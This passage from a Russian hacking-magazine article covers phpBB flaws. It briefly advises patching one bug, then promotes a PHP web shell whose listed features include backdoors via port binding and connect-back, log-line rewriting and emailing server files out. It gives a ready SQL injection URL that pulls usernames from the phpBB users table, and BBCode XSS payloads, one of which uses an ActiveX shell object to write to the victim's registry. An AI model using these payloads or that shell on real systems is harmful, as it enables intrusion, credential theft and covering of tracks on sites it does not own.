Кружка кофе clk__ (clk__@list.ru) Хакер, номер #079, стр. 079-068-4 Баг детский, однако из-за него уже пострадало немалое количество ресурсов. Так что не поленись и добавь в код системы проверку переменной cat: по логике программы там может быть только лишь integer. Ну, или скачай обновление, которое заботливо выложили на странице www.phpbb.com/phpBB/viewtopic.php?t=74505. [NIX REMOTE WEB SHELL 0.5a Lite] Вот несколько возможностей скрипта: * поддержка авторизации при обращении к скрипту; * информация о системе: - сервер; - OC; - привилегии; - текущий каталог; - твой IP; - PHP version; - ID владельца процесса; - MySQL info; - проверка доступа к системным файлам и каталогам. * удобная навигация по файловой системе сервера с широкими возможностями: - копирование, удаление, скачивание, просмотр, редактирование, обнуление, загрузка файлов; - возможность полной замены нужных строк в файлах (то же acsess.log); - создание, удаление, архивирование каталогов; - возможность отослать любой файл на свой e-mail. * установка бэкдора: - возможность забиндить порт с помощью perl / C; - установка connect-back бэкдора с помощью perl / C. Подробнее о скрипте ты сможешь узнать на http://ru24-team.net, там же возможно присоединиться к разработке NIX REMOTE WEB SHELL. [более свежие баги PHPbb] В Сети постоянно появляются сообщения о новых багах в phpBB. Так, в сценарии posting_notes.php из-за некорректной обработки параметра post_id удаленный юзер может выполнять произвольные sql-команды. Например вот так: posting_notes.php?mode=editpost &p=-99%20UNION%20SELECT%200,0,username,0,0,0,0,0,0%20FROM%20orionphpbb_users%20WHERE%20user_id=2/* Спустя две недели появились достоверные сведения об ошибках в phpBB 2.0.15. К примеру, баг в функции make_clickable() скрипта includes/bbcode.php позволяет удаленному пользователю с помощью специально сформированного BB-кода выполнить произвольный JS в браузере жертвы. Например таким образом: [url=javascript://%0ASh=alert(%22CouCou%22); window.close();]Alert box with "hacked"[/url] Можно также сделать кое-что посерьезнее: [url=javascript://%0ASh=new%20ActiveXObject (%22WScript.shell%22);Sh.regwrite(%22HKCU %5C%5CQQQQQ%5C%5Cqq%22,%22hacked %22);window.close();] Выполнение этого кода создаст в пользовательском реестре новую запись HKCU\QQQQQ\qq = "hacked". CD/DVD На нашем диске ты найдешь скрипт, который я использовал в этой статье. WWW На сайте http://ru24-team.net ты можешь поучаствовать в разработке скрипта, описанного в статье. |